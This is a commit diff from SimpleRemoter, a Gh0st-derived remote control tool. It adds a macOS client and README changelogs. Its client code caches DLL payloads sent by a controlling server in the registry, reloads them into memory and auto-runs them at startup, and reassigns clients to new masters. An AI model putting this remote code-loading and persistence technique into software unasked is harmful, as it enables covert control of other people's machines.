15 Commits

Author SHA1 Message Date
yuanyuanxiang
36ba9ccc1d Release v1.3.2 2026-05-01 11:36:56 +02:00
yuanyuanxiang
ed4b9eeb25 Fix: Web remote desktop double-click not working for macOS clients 2026-05-01 11:08:12 +02:00
yuanyuanxiang
cfa9b581fc Fix: Full Disk Access permission check using actual file read 2026-05-01 09:32:15 +02:00
yuanyuanxiang
979f309497 Feature: Add "Full Disk Access" permission check for macOS client 2026-05-01 08:41:08 +02:00
yuanyuanxiang
9b1cb1ced9 Feature: Add cursor position and type detection for macOS client 2026-05-01 08:32:46 +02:00
yuanyuanxiang
f2a184e760 Feature: Implement initial macOS SimpleRemoter client 2026-05-01 01:28:55 +02:00
yuanyuanxiang
7a90d217f3 fix: Missing "linux/lib/libzstd.a" to build Linux client 2026-04-29 19:47:25 +02:00
yuanyuanxiang
1cc66aff56 Feature: Web remote desktop cursor sync with remote host 2026-04-27 12:12:23 +02:00
yuanyuanxiang
b98607d24d Fix: Using wrong DLL info size causes RestoreMemDLL restore failed 2026-04-26 23:29:41 +02:00
yuanyuanxiang
fa9ee977b5 Feature: Implement trigger logic for host online event 2026-04-26 14:41:42 +02:00
yuanyuanxiang
acccc039b6 Fix: Multiple DLLs execute may fail due to a global variable 2026-04-25 17:57:00 +02:00
yuanyuanxiang
c38ccbe7ca Feature: DLL executing parameters persistence and DLL auto-run 2026-04-25 17:30:07 +02:00
yuanyuanxiang
655b1934a4 Feature: Implement user management feature with role support 2026-04-24 12:19:15 +02:00
yuanyuanxiang
ac14073921 Feature: Support switching remote desktop input language 2026-04-23 19:47:31 +02:00
yuanyuanxiang
a649c10d0f Fix mouse double click issue and switch remote desktop issue 2026-04-23 19:10:51 +02:00
49 changed files with 5788 additions and 112 deletions

View File

@@ -12,7 +12,7 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
</a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -56,7 +56,7 @@
## 项目简介
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux** 平台的企业级远程管理工具。
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux + macOS** 平台的企业级远程管理工具。
### 核心能力
@@ -354,6 +354,7 @@ struct FileChunkPacketV2 {
| `TestRun.exe` + `ServerDll.dll` | 分离加载,支持内存加载 DLL |
| Windows 服务 | 后台运行,支持锁屏控制 |
| Linux 客户端 | 跨平台支持v1.2.5+ |
| macOS 客户端 | 跨平台支持v1.3.2+ |
---
@@ -489,10 +490,60 @@ cmake .
make
```
### macOS 客户端v1.3.2+
**系统要求**
- macOS 10.15 (Catalina) 及以上
- 需要授予系统权限:屏幕录制、辅助功能、完全磁盘访问
**功能支持**
| 功能 | 状态 | 实现 |
|------|------|------|
| 远程桌面 | ✅ | CoreGraphics 屏幕捕获H.264 硬件编码 |
| 鼠标控制 | ✅ | CGEvent 模拟,支持双击、拖拽 |
| 键盘控制 | ✅ | CGEvent 模拟,完整键码映射 |
| 光标同步 | ✅ | 实时同步远程光标样式 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 文件管理 | ⏳ | 开发中 |
| 远程终端 | ⏳ | 开发中 |
**编译方式**
```bash
cd macos
mkdir build && cd build
cmake ..
make
```
---
## 更新日志
### v1.3.2 (2026.5.1)
**macOS 客户端 & Web 远程桌面增强**
**新功能:**
- macOS 客户端支持:全新实现的 macOS 原生客户端支持屏幕捕获、H.264 编码、键鼠控制、系统权限管理
- Web 远程桌面光标同步:浏览器端实时显示远程主机光标样式
- 触发器功能:支持主机上线事件触发自定义操作
- 用户管理功能:新增角色权限管理,支持多用户分级控制
- DLL 执行增强:参数持久化存储、支持自动运行配置
- 远程桌面输入法切换:支持远程切换被控端输入语言
**改进:**
- Web 远程桌面手势优化改进双指手势识别、双击拖拽、Shift 组合键支持
**Bug 修复:**
- 修复 Web 远程桌面在 macOS 客户端上双击无法打开文件的问题
- 修复 macOS 完全磁盘访问权限检测不准确的问题
- 修复 RestoreMemDLL 因 DLL 信息大小错误导致还原失败
- 修复多个 DLL 同时执行可能因全局变量冲突而失败
- 修复鼠标双击和远程桌面切换问题
- 修复 Linux 客户端编译缺少 libzstd.a 的问题
### v1.3.1 (2026.4.15)
**Web 远程桌面 & 多主控共享增强**

View File

@@ -12,7 +12,7 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
</a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -55,7 +55,7 @@
## Overview
**SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting both **Windows and Linux** platforms.
**SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting **Windows, Linux, and macOS** platforms.
### Core Capabilities
@@ -354,6 +354,7 @@ The master program **YAMA.exe** provides a graphical management interface:
| `TestRun.exe` + `ServerDll.dll` | Separate loading, supports in-memory DLL loading |
| Windows Service | Background operation, supports lock screen control |
| Linux Client | Cross-platform support (v1.2.5+) |
| macOS Client | Cross-platform support (v1.3.2+) |
---
@@ -474,10 +475,60 @@ cmake .
make
```
### macOS Client (v1.3.2+)
**System Requirements**:
- macOS 10.15 (Catalina) or later
- Required permissions: Screen Recording, Accessibility, Full Disk Access
**Feature Support**:
| Feature | Status | Implementation |
|---------|--------|----------------|
| Remote Desktop | ✅ | CoreGraphics screen capture, H.264 hardware encoding |
| Mouse Control | ✅ | CGEvent simulation, supports double-click, drag |
| Keyboard Control | ✅ | CGEvent simulation, full keycode mapping |
| Cursor Sync | ✅ | Real-time remote cursor style synchronization |
| Heartbeat/RTT | ✅ | RFC 6298 RTT estimation |
| File Management | ⏳ | In development |
| Remote Terminal | ⏳ | In development |
**Build Instructions**:
```bash
cd macos
mkdir build && cd build
cmake ..
make
```
---
## Changelog
### v1.3.2 (2026.5.1)
**macOS Client & Web Remote Desktop Enhancement**
**New Features:**
- macOS client support: Native macOS client with screen capture, H.264 encoding, keyboard/mouse control, system permission management
- Web remote desktop cursor sync: Real-time display of remote host cursor style in browser
- Trigger functionality: Support custom actions triggered by host online events
- User management: Role-based permission management, multi-user hierarchical control
- DLL execution enhancements: Parameter persistence, auto-run configuration support
- Remote desktop input language switching: Support switching remote host input language
**Improvements:**
- Web remote desktop gesture optimization: Improved two-finger gesture recognition, double-tap drag, Shift key combination support
**Bug Fixes:**
- Fixed Web remote desktop double-click not working for macOS clients
- Fixed macOS Full Disk Access permission detection inaccuracy
- Fixed RestoreMemDLL failure due to incorrect DLL info size
- Fixed multiple DLLs execution failure due to global variable conflict
- Fixed mouse double-click and remote desktop switching issues
- Fixed Linux client build missing libzstd.a
### v1.3.1 (2026.4.15)
**Web Remote Desktop & Multi-Master Sharing Enhancement**

View File

@@ -12,7 +12,7 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
</a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -55,7 +55,7 @@
## 專案簡介
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux** 平台的企業級遠端管理工具。
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux + macOS** 平台的企業級遠端管理工具。
### 核心能力
@@ -353,6 +353,7 @@ struct FileChunkPacketV2 {
| `TestRun.exe` + `ServerDll.dll` | 分離載入,支援記憶體載入 DLL |
| Windows 服務 | 背景執行,支援鎖定畫面控制 |
| Linux 用戶端 | 跨平台支援v1.2.5+ |
| macOS 用戶端 | 跨平台支援v1.3.2+ |
---
@@ -473,10 +474,60 @@ cmake .
make
```
### macOS 用戶端v1.3.2+
**系統要求**
- macOS 10.15 (Catalina) 及以上
- 需要授予系統權限:螢幕錄製、輔助使用、完全磁碟存取
**功能支援**
| 功能 | 狀態 | 實作 |
|------|------|------|
| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取H.264 硬體編碼 |
| 滑鼠控制 | ✅ | CGEvent 模擬,支援雙擊、拖曳 |
| 鍵盤控制 | ✅ | CGEvent 模擬,完整鍵碼對應 |
| 游標同步 | ✅ | 即時同步遠端游標樣式 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 檔案管理 | ⏳ | 開發中 |
| 遠端終端 | ⏳ | 開發中 |
**編譯方式**
```bash
cd macos
mkdir build && cd build
cmake ..
make
```
---
## 更新日誌
### v1.3.2 (2026.5.1)
**macOS 用戶端 & Web 遠端桌面增強**
**新功能:**
- macOS 用戶端支援:全新實現的 macOS 原生用戶端支援螢幕擷取、H.264 編碼、鍵鼠控制、系統權限管理
- Web 遠端桌面游標同步:瀏覽器端即時顯示遠端主機游標樣式
- 觸發器功能:支援主機上線事件觸發自訂操作
- 使用者管理功能:新增角色權限管理,支援多使用者分級控制
- DLL 執行增強:參數持久化儲存、支援自動執行設定
- 遠端桌面輸入法切換:支援遠端切換被控端輸入語言
**改進:**
- Web 遠端桌面手勢最佳化改進雙指手勢識別、雙擊拖曳、Shift 組合鍵支援
**Bug 修復:**
- 修復 Web 遠端桌面在 macOS 用戶端上雙擊無法開啟檔案的問題
- 修復 macOS 完全磁碟存取權限偵測不準確的問題
- 修復 RestoreMemDLL 因 DLL 資訊大小錯誤導致還原失敗
- 修復多個 DLL 同時執行可能因全域變數衝突而失敗
- 修復滑鼠雙擊和遠端桌面切換問題
- 修復 Linux 用戶端編譯缺少 libzstd.a 的問題
### v1.3.1 (2026.4.15)
**Web 遠端桌面 & 多主控共享增強**

View File

@@ -61,6 +61,10 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
return FALSE;
}
#ifdef __APPLE__
// macOS: 只有 TCP_KEEPALIVE (等同于 TCP_KEEPIDLE)
setsockopt(socket, IPPROTO_TCP, TCP_KEEPALIVE, &nKeepAliveSec, sizeof(nKeepAliveSec));
#else
// 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包)
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
Mprintf("Failed to set TCP_KEEPIDLE\n");
@@ -80,6 +84,7 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
Mprintf("Failed to set TCP_KEEPCNT\n");
return FALSE;
}
#endif
Mprintf("TCP keep-alive settings applied successfully\n");
return TRUE;

View File

@@ -21,6 +21,7 @@
#include "common/file_upload.h"
#include "common/DateVerify.h"
#include "common/LANChecker.h"
#include "common/scheduler.h"
extern "C" {
#include "ServiceWrapper.h"
}
@@ -65,6 +66,7 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s)
{
m_cfg = new iniFile(CLIENT_PATH);
m_ulThreadCount = 0;
#ifdef _DEBUG
m_settings = { 5 };
@@ -75,6 +77,11 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
m_hKeyboard = kb;
// C2C 初始化
if (conn) m_MyClientID = conn->clientID;
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
static int n = RestoreMemDLL();
if (n) {
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
}
}
BOOL IsThreadsRunning(ThreadInfo* threads, int count)
@@ -90,6 +97,7 @@ BOOL IsThreadsRunning(ThreadInfo* threads, int count)
CKernelManager::~CKernelManager()
{
Mprintf("~CKernelManager begin\n");
SAFE_DELETE(m_cfg);
HANDLE hList[MAX_THREADNUM] = {};
for (int i=0; i<MAX_THREADNUM; ++i) {
if (m_hThread[i].h!=0) {
@@ -233,7 +241,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
DllExecParam<>* dll = (DllExecParam<>*)param;
DllExecuteInfo info = *(dll->info);
PluginParam pThread = dll->param;
CManager* This = dll->manager;
CKernelManager* This = (CKernelManager*)dll->manager;
#if _DEBUG
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
DllRunner* runner = new DefaultDllRunner(info.Name);
@@ -262,10 +270,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL;
char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user;
if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
int r = 0;
if (proc) {
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
}
else {
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
}
if (r) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
@@ -273,7 +286,6 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
}
}
SAFE_DELETE_ARRAY(user);
break;
}
@@ -281,10 +293,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL;
char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user;
if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
int r = 0;
if (proc) {
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
}
else {
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
}
if (r) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
@@ -292,7 +309,6 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
}
}
SAFE_DELETE_ARRAY(user);
break;
}
@@ -623,24 +639,106 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
return "";
}
int CKernelManager::RestoreMemDLL() {
binFile bin(CLIENT_PATH);
// 枚举所有以 .md5 结尾的值名称
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
int count = 0;
for (const auto& key : md5Keys) {
// 获取 MD5 值
std::string md5 = m_cfg->GetStr("settings", key);
if (md5.empty())
continue;
// 从 "xxx.md5" 提取 "xxx"
std::string name = key.substr(0, key.size() - 4);
// 获取对应的二进制数据
std::string binData = bin.GetStr("settings", name + ".bin");
if (binData.empty())
continue;
// 解析 DllExecuteInfo提取 DLL 数据
const int sz = 1 + sizeof(DllExecuteInfo);
if (binData.size() < sz)
continue;
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1);
if (binData.size() < 1 + info->InfoSize + info->Size)
continue;
// 恢复到 m_MemDLL
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + 1 + info->InfoSize);
m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size);
Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str());
count++;
// 检查是否为启动执行模式
if (info->Schedule.Mode == SCH_MODE_STARTUP) {
// 复制一份用于检查和执行
DllExecuteInfo infoCopy = *info;
ScheduleParams& sch = infoCopy.Schedule;
// 从注册表读取运行时状态LastRunTime 和 CurrentCount
std::string lastRunStr = m_cfg->GetStr("settings", name + ".lastrun");
std::string countStr = m_cfg->GetStr("settings", name + ".count");
if (!lastRunStr.empty()) {
sch.LastRunTime = std::stoull(lastRunStr);
}
if (!countStr.empty()) {
sch.CurrentCount = (unsigned char)std::stoi(countStr);
}
// 检查是否应该执行
if (YamaTaskEngine::ShouldExecute(&sch)) {
Mprintf("Auto-start DLL on startup: %s\n", name.c_str());
char* buf = info->InfoSize > sizeof(DllExecuteInfo) ? new char[400] : 0;
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
BYTE* data = m_MemDLL[md5].data();
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL));
// 更新注册表中的运行时状态
// 如果有时间间隔限制,更新 LastRunTime
if (sch.Config.Startup.Interval > 0) {
YamaTaskEngine::MarkExecuted(&sch);
m_cfg->SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
}
// 如果有次数限制,更新 CurrentCount
if (sch.MaxCount > 0) {
if (sch.Config.Startup.Interval == 0) {
// 如果没更新过 LastRunTime需要单独增加计数
sch.CurrentCount++;
}
m_cfg->SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
}
}
}
}
return count;
}
template<typename T = DllExecuteInfo>
BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
{
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
std::map<std::string, std::vector<BYTE>> &m_MemDLL(This->m_MemDLL);
const int sz = 1 + sizeof(T);
if (ulLength < sz) return FALSE;
const T* info = (T*)(szBuffer + 1);
const char* md5 = info->Md5;
auto find = m_MemDLL.find(md5);
if (find == m_MemDLL.end() && ulLength == sz) {
iniFile cfg(CLIENT_PATH);
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) {
config *cfg = This->m_cfg;
auto s = cfg->GetStr("settings", info->Name + std::string(".md5"));
if ((find == m_MemDLL.end() || s.empty()) && ulLength == sz) {
if (s.empty() || s != info->Md5 || !This->m_conn->IsVerified()) {
// 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
return TRUE;
}
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
Mprintf("Execute local DLL from registry: %s\n", md5);
binFile bin(CLIENT_PATH);
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
@@ -649,10 +747,10 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
}
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
if (info->Size == ulLength - sz) {
// 收到完整 DLL 数据,保存到注册表
if (md5[0]) {
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
cfg->SetStr("settings", info->Name + std::string(".md5"), md5);
binFile bin(CLIENT_PATH);
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
@@ -660,7 +758,18 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
}
data = szBuffer + sz;
}
if (data) {
else if (data) {
// 只收到参数(无 DLL 数据),更新 .bin 中的参数部分
binFile bin(CLIENT_PATH);
std::string binData = bin.GetStr("settings", info->Name + std::string(".bin"));
if (binData.size() >= sz) {
// 替换 .bin 中的参数部分(跳过命令字节)
memcpy(&binData[1], szBuffer + 1, sizeof(T));
bin.SetStr("settings", info->Name + std::string(".bin"), binData);
Mprintf("Update DLL params [%d bytes] in registry: %s\n", sizeof(T), info->Name);
}
}
if (data && SCH_MODE_NONE == info->Schedule.Mode) {
PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user);
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL));
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
@@ -682,8 +791,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
switch (szBuffer[0]) {
case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "group_name", group);
m_cfg->SetStr("settings", "group_name", group);
break;
}
@@ -854,22 +962,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) {
iniFile cfg(CLIENT_PATH);
switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
if (v[0].empty() || v[1].empty())
break;
auto now = time(nullptr);
auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str());
auto valid_to = atoi(m_cfg->GetStr("settings", "valid_to").c_str());
if (now <= valid_to) break; // Avoid assign again
cfg.SetStr("settings", "master", v[0]);
cfg.SetStr("settings", "port", v[1]);
m_cfg->SetStr("settings", "master", v[0]);
m_cfg->SetStr("settings", "port", v[1]);
float days = atof(v[2].c_str());
if (days > 0) {
auto valid_to = time(0) + days*86400;
// overflow after 2038-01-19
cfg.SetStr("settings", "valid_to", std::to_string(valid_to));
m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to));
}
}
case SHARE_TYPE_YAMA: {
@@ -883,11 +990,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (v[0].empty() || v[1].empty())
break;
auto share = v[0] + ":" + v[1];
auto list = cfg.GetStr("settings", "share_list");
auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
if (VectorContains(shareList, share)) break;
shareList.push_back(share);
cfg.SetStr("settings", "share_list", VectorJoin(shareList, '|'));
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str());
}
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
@@ -902,8 +1009,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE_CANCEL: {
if (m_ClientApp->IsMainInstance()) {
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "share_list", "");
m_cfg->SetStr("settings", "share_list", "");
}
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
"Cancel sharing and next run to take effort" : "No permission to cancel sharing");
@@ -926,8 +1032,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval);
}
if (m_ClientApp->IsMainInstance()) {
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
m_cfg->SetStr("settings", "wallet", m_settings.WalletAddress);
}
CManager* pMgr = (CManager*)m_hKeyboard->user;
if (pMgr) {

View File

@@ -134,6 +134,7 @@ struct RttEstimator {
class CKernelManager : public CManager
{
public:
iniFile* m_cfg = nullptr;
CONNECT_ADDRESS* m_conn;
HINSTANCE m_hInstance;
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
@@ -156,6 +157,9 @@ public:
std::string m_hash;
std::string m_hmac;
uint64_t m_MyClientID = 0;
// 执行代码
std::map<std::string, std::vector<BYTE>> m_MemDLL;
int RestoreMemDLL();
void SetLoginMsg(const std::string& msg)
{
m_LoginMsg = msg;

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,1
FILEVERSION 1,0,3,2
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.1"
VALUE "FileVersion", "1.0.3.2"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll"

Binary file not shown.

View File

@@ -1,6 +1,6 @@
/*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
This is an implementation of the AES algorithm, specifically ECB, AES_MODE_CTR and CBC mode.
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.
The implementation is verified against the test vectors in:
@@ -221,7 +221,7 @@ void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
{
KeyExpansion(ctx->RoundKey, key);
}
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
{
KeyExpansion(ctx->RoundKey, key);
@@ -528,7 +528,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
#if defined(CTR) && (CTR == 1)
#if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
@@ -560,5 +560,5 @@ void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
}
}
#endif // #if defined(CTR) && (CTR == 1)
#endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)

View File

@@ -7,7 +7,7 @@
// #define the macros below to 1/0 to enable/disable the mode of operation.
//
// CBC enables AES encryption in CBC-mode of operation.
// CTR enables encryption in counter-mode.
// AES_MODE_CTR enables encryption in counter-mode.
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
@@ -19,8 +19,8 @@
#define ECB 1
#endif
#ifndef CTR
#define CTR 1
#ifndef AES_MODE_CTR
#define AES_MODE_CTR 1
#endif
@@ -43,13 +43,13 @@
struct AES_ctx {
uint8_t RoundKey[AES_keyExpSize];
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
uint8_t Iv[AES_BLOCKLEN];
#endif
};
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
#endif
@@ -75,7 +75,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
#if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
// Same function for encrypting as for decrypting.
// IV is incremented for every block, and used after encryption as XOR-compliment for output
@@ -84,7 +84,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
// no IV should ever be reused with the same key
